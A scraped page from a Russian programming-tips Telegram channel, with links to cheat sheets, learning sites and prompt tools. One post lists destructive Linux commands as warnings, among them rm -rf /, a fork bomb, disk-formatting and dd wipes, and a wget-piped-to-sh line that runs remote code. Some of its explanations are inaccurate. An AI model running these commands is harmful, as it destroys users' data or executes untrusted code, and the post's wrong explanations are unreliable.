Шпаргалки программиста
2.46K subscribers
362 photos
16 videos
114 files
151 links
Всё самое интересное по программированию

🌐 Админ @workakkk

https://t.iss.one/itchannels_telegram - список полезных ит-каналов
Download Telegram
Forwarded from НОП.РФ
Закончился финал самого популярного профиля "Искусственный интеллект" Национальной технологической олимпиады. В нем сошлись более, чем 100 талантливых школьников из 27 регионов России и Казахстана, которые соревновались между собой.

Всего определено 5 команд-победителей в командном туре, а также 8 чемпионов и 17 призеров в индивидуальном зачете. Команды получили денежные сертификаты на образование — призовой фонд составил более 4 млн рублей. Также организаторы учредили пять спецноминаций, победители которых получили ТВ-приставки SberBox с виртуальными ассистентами Салют.

Победители и призеры индивидуального зачета получат оплачиваемую стажировку в Сбере и компаниях-партнерах в области "Машинного обучения". Также они получат льготы при поступлении в лучшие вузы страны.

В этом году на профиль "Искусственный интеллект" зарегистрировалось 6150 учеников 8-11 классов из России и других стран.

Виталий Минашкин, проректор ФГБОУ высшего образования «Российский экономический университет им. Плеханова», прокомментировал награждение: «Существует много различных предметных областей, но область искусственного интеллекта, которой вы занимаетесь, очень важна. За ней будущее, и вы все — лучшие в этой предметной области».
Если шпаргалки по командам GIT, то только такие
Шпаргалка по CSS

CSSReference.io — это бесплатное визуальное руководство по CSS. Здесь собраны примеры для каждого свойства и их детальное объяснение в виде диаграмм и иллюстраций:

https://cssreference.io/

#css #веб
3 тренажёра и ресурса для начинающего программиста

1. Edabit — платформа, на которой собрано более 10,000 задач для обучения программированию. Сайт напоминает Duolingo, но для программистов.

2. Learn HTML — это интерактивный учебник, в котором пошагово объясняется, как создавать веб-сайты на HTML и CSS. Основное руководство поможет создать страницу с использованием Bootstrap, а учебные пособия помогут узнать всё, что нужно знать о HTML и CSS.

3. Scrimba — программа содержит 13 модулей с интерактивными задачами по HTML, CSS, JavaScript, React. Также доступен чат в Discord, поэтому можно познакомиться с другими учениками с разных уголков мира.

#it #советы
Механизмы безопасности: полезные шпаргалки для разработчиков

Недавно хакеры взломали «СберСпасибо» и опубликовали в сети базу, в которой содержатся несколько миллионов строк с личными данными пользователей. Кто же виноват? Слабая защита? Программисты? Код?

Сделали подборку шпаргалок в которых вы найдете, лучшие практики безопасности для разработчиков:

1. Java
2. Python
3. Go
4. Spring Boot
5. npm
6. GitHub

#java #python #go
Структуры данных и алгоритмы: топ-30

В этой статье собраны 15 наиболее полезных структур данных и 15 наиболее важных алгоритмов, которые могут помочь вам успешно пройти собеседования и улучшить свои навыки программирования. Также автор собрал материалы для их изучения и практики — задачи с LeetCode:

https://dev.to/iuliagroza/complete-introduction-to-the-30-most-essential-data-structures-algorithms-43kd

#алгоритмы
OverAPI — возможно, одна из самых полных онлайн-шпаргалок по языкам программирования и технологиям

Полезности найдут как разработчики на Python, PHP и Ruby, так и те, кого интересует Linux или Git

При этом разработчики позаботились о пользователях и создали специальное Chrome-расширение, дублирующее функционал платформы

Стоимость: #бесплатно

#web #шпаргалка
This media is not supported in your browser
VIEW IN TELEGRAM
IT GURU - для тех, кто хочет обучаться быстро, продуктивно и бесплатно

- Короткие видеокурсы по всем направлениям разработки
- Полезно-интересные статьи
- Свежие шпаргалки
- Облегчающие работу инструменты

Подписывайся и поглощай нашу пользу ❤️👇
https://t.iss.one/+2taUlZXC_P1mZjli
Node.js: шаблоны проектирования

В этой статье рассматриваются популярные паттерны: Singleton, Observer, Factory и Command. Интересно, как же они работают на реальных проектах? Для более легкого понимания темы автор также добавил сниппеты кода на TypeScript:

https://medium.com/@devhoangkien/design-patterns-in-node-js-a-fun-typescript-adventure-8bf977c2549b

#ts #nodejs
Полное руководство по CSS Grid

CSS Grid — это мощный инструмент в современной веб-разработке, который позволяет создавать динамичные макеты. Благодаря возможности определять строки и столбцы, а затем размещать в них содержимое, CSS Grid предоставляет разработчикам контроль над тем, как отображается содержимое их веб-сайта.

В этом видео автор подробно рассказывает про CSS Grid, свойства, а также как можно использовать возможности CSS Grid для создания красивых, гибких макетов:

https://youtu.be/Pqh1UhslhYA

#css
cheat-sheet-dark.pdf
7.9 MB
Краткий справочник по некоторым наиболее полезным API конфиденциальности в Android, а также рекомендации, которые следует учитывать при разработке своего приложения.

🔗Скачать в светлом режиме
Подборка из 11 опасных команд Linux, которые не стоит запускать на свою компьютере:

rm -rf / — удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные;

:(){ :|: & };: — команда, также известная как «fork bomb», может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы;

mkfs.ext4 /dev/sda — форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны;

dd if=/dev/random of=/dev/sda — перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных;

chmod 777 / — откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности;

mv /home/* /dev/null — переместит все файлы в вашей домашней директории в «null», что означает, что они будут утеряны;

wget https://example.com/file -O /dev/null — загрузит файл и перезапишет все данные в «null», что приведет к потере данных.

mkfs.ext4 /dev/sda1 — форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

ln -s /dev/null /etc/passwd — создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

echo "Hello" > /dev/sda — перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello»;

wget https://malicious_source -O- | sh — Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
Подборка готовых запросов для нейронок

AI Prompt Generator – сайт сгенерирует лучший промт по вашему запросу

Stable Diffusion Prompt Generator – лучший генератор для SD

Prompthero – тонна артов с промтами

Midjourney Prompt Generator – тоже генерация промта по вашему запросу только для MJ
✍️ Крутая шпаргалка по Python, охватывает основы языка, включая типы данных, операторы, управляющие структуры, функции, классы, файловый ввод-вывод и многое другое.

С помощью этого руководства вы сможете быстро найти синтаксис и способы использования различных функций и библиотек.

#doc #python #cheatsheet
Please open Telegram to view this post
VIEW IN TELEGRAM